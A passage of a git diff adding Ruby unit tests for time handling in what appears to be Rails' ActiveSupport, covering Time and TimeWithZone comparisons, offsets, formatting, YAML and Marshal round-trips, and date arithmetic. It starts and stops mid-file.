+        assert_equal false,  Time.utc(2005, 2, 10, 20, 30, 45).past?
+        assert_equal false,  Time.utc(2005, 2, 10, 20, 30, 46).past?
+      end
+    end
+  end
+
+  def test_past_with_time_current_as_time_with_zone
+    with_env_tz "US/Eastern" do
+      twz = Time.utc(2005, 2, 10, 15, 30, 45).in_time_zone("Central Time (US & Canada)")
+      Time.stub(:current, twz) do
+        assert_equal true,  Time.local(2005, 2, 10, 10, 30, 44).past?
+        assert_equal false,  Time.local(2005, 2, 10, 10, 30, 45).past?
+        assert_equal false,  Time.local(2005, 2, 10, 10, 30, 46).past?
+        assert_equal true,  Time.utc(2005, 2, 10, 15, 30, 44).past?
+        assert_equal false,  Time.utc(2005, 2, 10, 15, 30, 45).past?
+        assert_equal false,  Time.utc(2005, 2, 10, 15, 30, 46).past?
+      end
+    end
+  end
+
+  def test_future_with_time_current_as_time_local
+    with_env_tz "US/Eastern" do
+      Time.stub(:current, Time.local(2005, 2, 10, 15, 30, 45)) do
+        assert_equal false,  Time.local(2005, 2, 10, 15, 30, 44).future?
+        assert_equal false,  Time.local(2005, 2, 10, 15, 30, 45).future?
+        assert_equal true,  Time.local(2005, 2, 10, 15, 30, 46).future?
+        assert_equal false,  Time.utc(2005, 2, 10, 20, 30, 44).future?
+        assert_equal false,  Time.utc(2005, 2, 10, 20, 30, 45).future?
+        assert_equal true,  Time.utc(2005, 2, 10, 20, 30, 46).future?
+      end
+    end
+  end
+
+  def test_future_with_time_current_as_time_with_zone
+    with_env_tz "US/Eastern" do
+      twz = Time.utc(2005, 2, 10, 15, 30, 45).in_time_zone("Central Time (US & Canada)")
+      Time.stub(:current, twz) do
+        assert_equal false,  Time.local(2005, 2, 10, 10, 30, 44).future?
+        assert_equal false,  Time.local(2005, 2, 10, 10, 30, 45).future?
+        assert_equal true,  Time.local(2005, 2, 10, 10, 30, 46).future?
+        assert_equal false,  Time.utc(2005, 2, 10, 15, 30, 44).future?
+        assert_equal false,  Time.utc(2005, 2, 10, 15, 30, 45).future?
+        assert_equal true,  Time.utc(2005, 2, 10, 15, 30, 46).future?
+      end
+    end
+  end
+
+  def test_acts_like_time
+    assert Time.new.acts_like_time?
+  end
+
+  def test_formatted_offset_with_utc
+    assert_equal "+00:00", Time.utc(2000).formatted_offset
+    assert_equal "+0000", Time.utc(2000).formatted_offset(false)
+    assert_equal "UTC", Time.utc(2000).formatted_offset(true, "UTC")
+  end
+
+  def test_formatted_offset_with_local
+    with_env_tz "US/Eastern" do
+      assert_equal "-05:00", Time.local(2000).formatted_offset
+      assert_equal "-0500", Time.local(2000).formatted_offset(false)
+      assert_equal "-04:00", Time.local(2000, 7).formatted_offset
+      assert_equal "-0400", Time.local(2000, 7).formatted_offset(false)
+    end
+  end
+
+  def test_compare_with_time
+    assert_equal  1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999)
+    assert_equal  0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
+    assert_equal(-1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0, 001))
+  end
+
+  def test_compare_with_datetime
+    assert_equal  1, Time.utc(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+    assert_equal  0, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+    assert_equal(-1, Time.utc(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
+  end
+
+  def test_compare_with_time_with_zone
+    assert_equal  1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
+    assert_equal  0, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
+    assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone["UTC"]))
+  end
+
+  def test_compare_with_string
+    assert_equal   1, Time.utc(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59, 999).to_s
+    assert_equal   0, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s
+    assert_equal(-1, Time.utc(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1, 0).to_s)
+    assert_nil Time.utc(2000) <=> "Invalid as Time"
+  end
+
+  def test_at_with_datetime
+    assert_equal Time.utc(2000, 1, 1, 0, 0, 0), Time.at(DateTime.civil(2000, 1, 1, 0, 0, 0))
+
+    # Only test this if the underlying Time.at raises a TypeError
+    begin
+      Time.at_without_coercion(Time.now, 0)
+    rescue TypeError
+      assert_raise(TypeError) { assert_equal(Time.utc(2000, 1, 1, 0, 0, 0), Time.at(DateTime.civil(2000, 1, 1, 0, 0, 0), 0)) }
+    end
+  end
+
+  def test_at_with_datetime_returns_local_time
+    with_env_tz "US/Eastern" do
+      dt = DateTime.civil(2000, 1, 1, 0, 0, 0, "+0")
+      assert_equal Time.local(1999, 12, 31, 19, 0, 0), Time.at(dt)
+      assert_equal "EST", Time.at(dt).zone
+      assert_equal(-18000, Time.at(dt).utc_offset)
+
+      # Daylight savings
+      dt = DateTime.civil(2000, 7, 1, 1, 0, 0, "+1")
+      assert_equal Time.local(2000, 6, 30, 20, 0, 0), Time.at(dt)
+      assert_equal "EDT", Time.at(dt).zone
+      assert_equal(-14400, Time.at(dt).utc_offset)
+    end
+  end
+
+  def test_at_with_time_with_zone
+    assert_equal Time.utc(2000, 1, 1, 0, 0, 0), Time.at(ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"]))
+
+    # Only test this if the underlying Time.at raises a TypeError
+    begin
+      Time.at_without_coercion(Time.now, 0)
+    rescue TypeError
+      assert_raise(TypeError) { assert_equal(Time.utc(2000, 1, 1, 0, 0, 0), Time.at(ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"]), 0)) }
+    end
+  end
+
+  def test_at_with_time_with_zone_returns_local_time
+    with_env_tz "US/Eastern" do
+      twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["London"])
+      assert_equal Time.local(1999, 12, 31, 19, 0, 0), Time.at(twz)
+      assert_equal "EST", Time.at(twz).zone
+      assert_equal(-18000, Time.at(twz).utc_offset)
+
+      # Daylight savings
+      twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 7, 1, 0, 0, 0), ActiveSupport::TimeZone["London"])
+      assert_equal Time.local(2000, 6, 30, 20, 0, 0), Time.at(twz)
+      assert_equal "EDT", Time.at(twz).zone
+      assert_equal(-14400, Time.at(twz).utc_offset)
+    end
+  end
+
+  def test_at_with_time_microsecond_precision
+    assert_equal Time.at(Time.utc(2000, 1, 1, 0, 0, 0, 111)).to_f, Time.utc(2000, 1, 1, 0, 0, 0, 111).to_f
+  end
+
+  def test_at_with_utc_time
+    with_env_tz "US/Eastern" do
+      assert_equal Time.utc(2000), Time.at(Time.utc(2000))
+      assert_equal "UTC", Time.at(Time.utc(2000)).zone
+      assert_equal(0, Time.at(Time.utc(2000)).utc_offset)
+    end
+  end
+
+  def test_at_with_local_time
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2000), Time.at(Time.local(2000))
+      assert_equal "EST", Time.at(Time.local(2000)).zone
+      assert_equal(-18000, Time.at(Time.local(2000)).utc_offset)
+
+      assert_equal Time.local(2000, 7, 1), Time.at(Time.local(2000, 7, 1))
+      assert_equal "EDT", Time.at(Time.local(2000, 7, 1)).zone
+      assert_equal(-14400, Time.at(Time.local(2000, 7, 1)).utc_offset)
+    end
+  end
+
+  def test_eql?
+    assert_equal true, Time.utc(2000).eql?(ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["UTC"]))
+    assert_equal true, Time.utc(2000).eql?(ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]))
+    assert_equal false, Time.utc(2000, 1, 1, 0, 0, 1).eql?(ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["UTC"]))
+  end
+
+  def test_minus_with_time_with_zone
+    assert_equal  86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["UTC"])
+  end
+
+  def test_minus_with_datetime
+    assert_equal  86_400.0, Time.utc(2000, 1, 2) - DateTime.civil(2000, 1, 1)
+  end
+
+  def test_time_created_with_local_constructor_cannot_represent_times_during_hour_skipped_by_dst
+    with_env_tz "US/Eastern" do
+      # On Apr 2 2006 at 2:00AM in US, clocks were moved forward to 3:00AM.
+      # Therefore, 2AM EST doesn't exist for this date; Time.local fails over to 3:00AM EDT
+      assert_equal Time.local(2006, 4, 2, 3), Time.local(2006, 4, 2, 2)
+      assert Time.local(2006, 4, 2, 2).dst?
+    end
+  end
+
+  def test_case_equality
+    assert Time === Time.utc(2000)
+    assert Time === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["UTC"])
+    assert Time === Class.new(Time).utc(2000)
+    assert_equal false, Time === DateTime.civil(2000)
+    assert_equal false, Class.new(Time) === Time.utc(2000)
+    assert_equal false, Class.new(Time) === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["UTC"])
+  end
+
+  def test_all_day
+    assert_equal Time.local(2011, 6, 7, 0, 0, 0)..Time.local(2011, 6, 7, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_day
+  end
+
+  def test_all_day_with_timezone
+    beginning_of_day = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], Time.local(2011, 6, 7, 0, 0, 0))
+    end_of_day = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], Time.local(2011, 6, 7, 23, 59, 59, Rational(999999999, 1000)))
+
+    assert_equal beginning_of_day, ActiveSupport::TimeWithZone.new(Time.local(2011, 6, 7, 10, 10, 10), ActiveSupport::TimeZone["Hawaii"]).all_day.begin
+    assert_equal end_of_day, ActiveSupport::TimeWithZone.new(Time.local(2011, 6, 7, 10, 10, 10), ActiveSupport::TimeZone["Hawaii"]).all_day.end
+  end
+
+  def test_all_week
+    assert_equal Time.local(2011, 6, 6, 0, 0, 0)..Time.local(2011, 6, 12, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_week
+    assert_equal Time.local(2011, 6, 5, 0, 0, 0)..Time.local(2011, 6, 11, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_week(:sunday)
+  end
+
+  def test_all_month
+    assert_equal Time.local(2011, 6, 1, 0, 0, 0)..Time.local(2011, 6, 30, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_month
+  end
+
+  def test_all_quarter
+    assert_equal Time.local(2011, 4, 1, 0, 0, 0)..Time.local(2011, 6, 30, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_quarter
+  end
+
+  def test_all_year
+    assert_equal Time.local(2011, 1, 1, 0, 0, 0)..Time.local(2011, 12, 31, 23, 59, 59, Rational(999999999, 1000)), Time.local(2011, 6, 7, 10, 10, 10).all_year
+  end
+
+  def test_rfc3339_parse
+    time = Time.rfc3339("1999-12-31T19:00:00.125-05:00")
+
+    assert_equal 1999, time.year
+    assert_equal 12, time.month
+    assert_equal 31, time.day
+    assert_equal 19, time.hour
+    assert_equal 0, time.min
+    assert_equal 0, time.sec
+    assert_equal 125000, time.usec
+    assert_equal(-18000, time.utc_offset)
+
+    exception = assert_raises(ArgumentError) do
+      Time.rfc3339("1999-12-31")
+    end
+
+    assert_equal "invalid date", exception.message
+
+    exception = assert_raises(ArgumentError) do
+      Time.rfc3339("1999-12-31T19:00:00")
+    end
+
+    assert_equal "invalid date", exception.message
+
+    exception = assert_raises(ArgumentError) do
+      Time.rfc3339("foobar")
+    end
+
+    assert_equal "invalid date", exception.message
+  end
+end
+
+class TimeExtMarshalingTest < ActiveSupport::TestCase
+  def test_marshaling_with_utc_instance
+    t = Time.utc(2000)
+    unmarshaled = Marshal.load(Marshal.dump(t))
+    assert_equal "UTC", unmarshaled.zone
+    assert_equal t, unmarshaled
+  end
+
+  def test_marshaling_with_local_instance
+    t = Time.local(2000)
+    unmarshaled = Marshal.load(Marshal.dump(t))
+    assert_equal t.zone, unmarshaled.zone
+    assert_equal t, unmarshaled
+  end
+
+  def test_marshaling_with_frozen_utc_instance
+    t = Time.utc(2000).freeze
+    unmarshaled = Marshal.load(Marshal.dump(t))
+    assert_equal "UTC", unmarshaled.zone
+    assert_equal t, unmarshaled
+  end
+
+  def test_marshaling_with_frozen_local_instance
+    t = Time.local(2000).freeze
+    unmarshaled = Marshal.load(Marshal.dump(t))
+    assert_equal t.zone, unmarshaled.zone
+    assert_equal t, unmarshaled
+  end
+
+  def test_marshalling_preserves_fractional_seconds
+    t = Time.parse("00:00:00.500")
+    unmarshaled = Marshal.load(Marshal.dump(t))
+    assert_equal t.to_f, unmarshaled.to_f
+    assert_equal t, unmarshaled
+  end
+
+  def test_last_quarter_on_31st
+    assert_equal Time.local(2004, 2, 29), Time.local(2004, 5, 31).last_quarter
+  end
+end
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
new file mode 100644
index 0000000000..0f80a24758
--- /dev/null
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -0,0 +1,1304 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/time"
+require "time_zone_test_helpers"
+require "active_support/core_ext/string/strip"
+require "yaml"
+
+class TimeWithZoneTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def setup
+    @utc = Time.utc(2000, 1, 1, 0)
+    @time_zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    @twz = ActiveSupport::TimeWithZone.new(@utc, @time_zone)
+    @dt_twz = ActiveSupport::TimeWithZone.new(@utc.to_datetime, @time_zone)
+  end
+
+  def test_utc
+    assert_equal @utc, @twz.utc
+    assert_instance_of Time, @twz.utc
+    assert_instance_of Time, @dt_twz.utc
+  end
+
+  def test_time
+    assert_equal Time.utc(1999, 12, 31, 19), @twz.time
+  end
+
+  def test_time_zone
+    assert_equal @time_zone, @twz.time_zone
+  end
+
+  def test_in_time_zone
+    Time.use_zone "Alaska" do
+      assert_equal ActiveSupport::TimeWithZone.new(@utc, ActiveSupport::TimeZone["Alaska"]), @twz.in_time_zone
+    end
+  end
+
+  def test_in_time_zone_with_argument
+    assert_equal ActiveSupport::TimeWithZone.new(@utc, ActiveSupport::TimeZone["Alaska"]), @twz.in_time_zone("Alaska")
+  end
+
+  def test_in_time_zone_with_new_zone_equal_to_old_zone_does_not_create_new_object
+    assert_equal @twz.object_id, @twz.in_time_zone(ActiveSupport::TimeZone["Eastern Time (US & Canada)"]).object_id
+  end
+
+  def test_in_time_zone_with_bad_argument
+    assert_raise(ArgumentError) { @twz.in_time_zone("No such timezone exists") }
+    assert_raise(ArgumentError) { @twz.in_time_zone(-15.hours) }
+    assert_raise(ArgumentError) { @twz.in_time_zone(Object.new) }
+  end
+
+  def test_localtime
+    assert_equal @twz.localtime, @twz.utc.getlocal
+    assert_instance_of Time, @twz.localtime
+    assert_instance_of Time, @dt_twz.localtime
+  end
+
+  def test_utc?
+    assert_equal false, @twz.utc?
+
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["UTC"]).utc?
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Etc/UTC"]).utc?
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Universal"]).utc?
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["UCT"]).utc?
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Etc/UCT"]).utc?
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Etc/Universal"]).utc?
+
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Africa/Abidjan"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Africa/Banjul"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Africa/Freetown"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["GMT"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["GMT0"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Greenwich"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Iceland"]).utc?
+    assert_equal false, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Africa/Monrovia"]).utc?
+  end
+
+  def test_formatted_offset
+    assert_equal "-05:00", @twz.formatted_offset
+    assert_equal "-04:00", ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).formatted_offset #dst
+  end
+
+  def test_dst?
+    assert_equal false, @twz.dst?
+    assert_equal true, ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).dst?
+  end
+
+  def test_zone
+    assert_equal "EST", @twz.zone
+    assert_equal "EDT", ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
+  end
+
+  def test_nsec
+    local     = Time.local(2011, 6, 7, 23, 59, 59, Rational(999999999, 1000))
+    with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
+
+    assert_equal local.nsec, with_zone.nsec
+    assert_equal with_zone.nsec, 999999999
+  end
+
+  def test_strftime
+    assert_equal "1999-12-31 19:00:00 EST -0500", @twz.strftime("%Y-%m-%d %H:%M:%S %Z %z")
+  end
+
+  def test_strftime_with_escaping
+    assert_equal "%Z %z", @twz.strftime("%%Z %%z")
+    assert_equal "%EST %-0500", @twz.strftime("%%%Z %%%z")
+  end
+
+  def test_inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+  end
+
+  def test_to_s
+    assert_equal "1999-12-31 19:00:00 -0500", @twz.to_s
+  end
+
+  def test_to_formatted_s
+    assert_equal "1999-12-31 19:00:00 -0500", @twz.to_formatted_s
+  end
+
+  def test_to_s_db
+    assert_equal "2000-01-01 00:00:00", @twz.to_s(:db)
+  end
+
+  def test_xmlschema
+    assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema
+  end
+
+  def test_xmlschema_with_fractional_seconds
+    @twz += 0.1234560001 # advance the time by a fraction of a second
+    assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3)
+    assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6)
+    assert_equal "1999-12-31T19:00:00.123456000100-05:00", @twz.xmlschema(12)
+  end
+
+  def test_xmlschema_with_fractional_seconds_lower_than_hundred_thousand
+    @twz += 0.001234 # advance the time by a fraction
+    assert_equal "1999-12-31T19:00:00.001-05:00", @twz.xmlschema(3)
+    assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(6)
+    assert_equal "1999-12-31T19:00:00.001234000000-05:00", @twz.xmlschema(12)
+  end
+
+  def test_xmlschema_with_nil_fractional_seconds
+    assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema(nil)
+  end
+
+  def test_iso8601_with_fractional_seconds
+    @twz += Rational(1, 8)
+    assert_equal "1999-12-31T19:00:00.125-05:00", @twz.iso8601(3)
+  end
+
+  def test_rfc3339_with_fractional_seconds
+    @twz += Rational(1, 8)
+    assert_equal "1999-12-31T19:00:00.125-05:00", @twz.rfc3339(3)
+  end
+
+  def test_to_yaml
+    yaml = <<-EOF.strip_heredoc
+      --- !ruby/object:ActiveSupport::TimeWithZone
+      utc: 2000-01-01 00:00:00.000000000 Z
+      zone: !ruby/object:ActiveSupport::TimeZone
+        name: America/New_York
+      time: 1999-12-31 19:00:00.000000000 Z
+    EOF
+
+    assert_equal(yaml, @twz.to_yaml)
+  end
+
+  def test_ruby_to_yaml
+    yaml = <<-EOF.strip_heredoc
+      ---
+      twz: !ruby/object:ActiveSupport::TimeWithZone
+        utc: 2000-01-01 00:00:00.000000000 Z
+        zone: !ruby/object:ActiveSupport::TimeZone
+          name: America/New_York
+        time: 1999-12-31 19:00:00.000000000 Z
+    EOF
+
+    assert_equal(yaml, { "twz" => @twz }.to_yaml)
+  end
+
+  def test_yaml_load
+    yaml = <<-EOF.strip_heredoc
+      --- !ruby/object:ActiveSupport::TimeWithZone
+      utc: 2000-01-01 00:00:00.000000000 Z
+      zone: !ruby/object:ActiveSupport::TimeZone
+        name: America/New_York
+      time: 1999-12-31 19:00:00.000000000 Z
+    EOF
+
+    assert_equal(@twz, YAML.load(yaml))
+  end
+
+  def test_ruby_yaml_load
+    yaml = <<-EOF.strip_heredoc
+      ---
+      twz: !ruby/object:ActiveSupport::TimeWithZone
+        utc: 2000-01-01 00:00:00.000000000 Z
+        zone: !ruby/object:ActiveSupport::TimeZone
+          name: America/New_York
+        time: 1999-12-31 19:00:00.000000000 Z
+    EOF
+
+    assert_equal({ "twz" => @twz }, YAML.load(yaml))
+  end
+
+  def test_httpdate
+    assert_equal "Sat, 01 Jan 2000 00:00:00 GMT", @twz.httpdate
+  end
+
+  def test_rfc2822
+    assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822
+  end
+
+  def test_compare_with_time
+    assert_equal  1, @twz <=> Time.utc(1999, 12, 31, 23, 59, 59)
+    assert_equal  0, @twz <=> Time.utc(2000, 1, 1, 0, 0, 0)
+    assert_equal(-1, @twz <=> Time.utc(2000, 1, 1, 0, 0, 1))
+  end
+
+  def test_compare_with_datetime
+    assert_equal  1, @twz <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+    assert_equal  0, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+    assert_equal(-1, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
+  end
+
+  def test_compare_with_time_with_zone
+    assert_equal  1, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
+    assert_equal  0, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
+    assert_equal(-1, @twz <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone["UTC"]))
+  end
+
+  def test_between?
+    assert @twz.between?(Time.utc(1999, 12, 31, 23, 59, 59), Time.utc(2000, 1, 1, 0, 0, 1))
+    assert_equal false, @twz.between?(Time.utc(2000, 1, 1, 0, 0, 1), Time.utc(2000, 1, 1, 0, 0, 2))
+  end
+
+  def test_today
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 23, 59, 59)).today?
+      assert_equal true, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 0)).today?
+      assert_equal true, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 1, 23, 59, 59)).today?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 2, 0)).today?
+    end
+  end
+
+  def test_past_with_time_current_as_time_local
+    with_env_tz "US/Eastern" do
+      Time.stub(:current, Time.local(2005, 2, 10, 15, 30, 45)) do
+        assert_equal true, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 44)).past?
+        assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 45)).past?
+        assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 46)).past?
+      end
+    end
+  end
+
+  def test_past_with_time_current_as_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 45))
+    Time.stub(:current, twz) do
+      assert_equal true, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 44)).past?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 45)).past?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 46)).past?
+    end
+  end
+
+  def test_future_with_time_current_as_time_local
+    with_env_tz "US/Eastern" do
+      Time.stub(:current, Time.local(2005, 2, 10, 15, 30, 45)) do
+        assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 44)).future?
+        assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 45)).future?
+        assert_equal true, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 46)).future?
+      end
+    end
+  end
+
+  def test_future_with_time_current_as_time_with_zone
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 45))
+    Time.stub(:current, twz) do
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 44)).future?
+      assert_equal false, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 45)).future?
+      assert_equal true, ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.local(2005, 2, 10, 15, 30, 46)).future?
+    end
+  end
+
+  def test_eql?
+    assert_equal true, @twz.eql?(@twz.dup)
+    assert_equal true, @twz.eql?(Time.utc(2000))
+    assert_equal true, @twz.eql?(ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]))
+    assert_equal false, @twz.eql?(Time.utc(2000, 1, 1, 0, 0, 1))
+    assert_equal false, @twz.eql?(DateTime.civil(1999, 12, 31, 23, 59, 59))
+
+    other_twz = ActiveSupport::TimeWithZone.new(DateTime.now.utc, @time_zone)
+    assert_equal true, other_twz.eql?(other_twz.dup)
+  end
+
+  def test_hash
+    assert_equal Time.utc(2000).hash, @twz.hash
+    assert_equal Time.utc(2000).hash, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]).hash
+  end
+
+  def test_plus_with_integer
+    assert_equal Time.utc(1999, 12, 31, 19, 0 , 5), (@twz + 5).time
+  end
+
+  def test_plus_with_integer_when_self_wraps_datetime
+    datetime = DateTime.civil(2000, 1, 1, 0)
+    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+    assert_equal DateTime.civil(1999, 12, 31, 19, 0 , 5), (twz + 5).time
+  end
+
+  def test_plus_when_crossing_time_class_limit
+    twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone)
+    assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0, 6]
+  end
+
+  def test_plus_with_duration
+    assert_equal Time.utc(2000, 1, 5, 19, 0 , 0), (@twz + 5.days).time
+  end
+
+  def test_minus_with_integer
+    assert_equal Time.utc(1999, 12, 31, 18, 59 , 55), (@twz - 5).time
+  end
+
+  def test_minus_with_integer_when_self_wraps_datetime
+    datetime = DateTime.civil(2000, 1, 1, 0)
+    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+    assert_equal DateTime.civil(1999, 12, 31, 18, 59 , 55), (twz - 5).time
+  end
+
+  def test_minus_with_duration
+    assert_equal Time.utc(1999, 12, 26, 19, 0 , 0), (@twz - 5.days).time
+  end
+
+  def test_minus_with_time
+    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 1)
+    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["Hawaii"]) - Time.utc(2000, 1, 1)
+  end
+
+  def test_minus_with_time_precision
+    assert_equal  86_399.999999998,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+    assert_equal  86_399.999999998,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["Hawaii"]) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+  end
+
+  def test_minus_with_time_with_zone
+    twz1 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["UTC"])
+    twz2 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"])
+    assert_equal 86_400.0,  twz2 - twz1
+  end
+
+  def test_minus_with_time_with_zone_precision
+    twz1 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0, Rational(1, 1000)), ActiveSupport::TimeZone["UTC"])
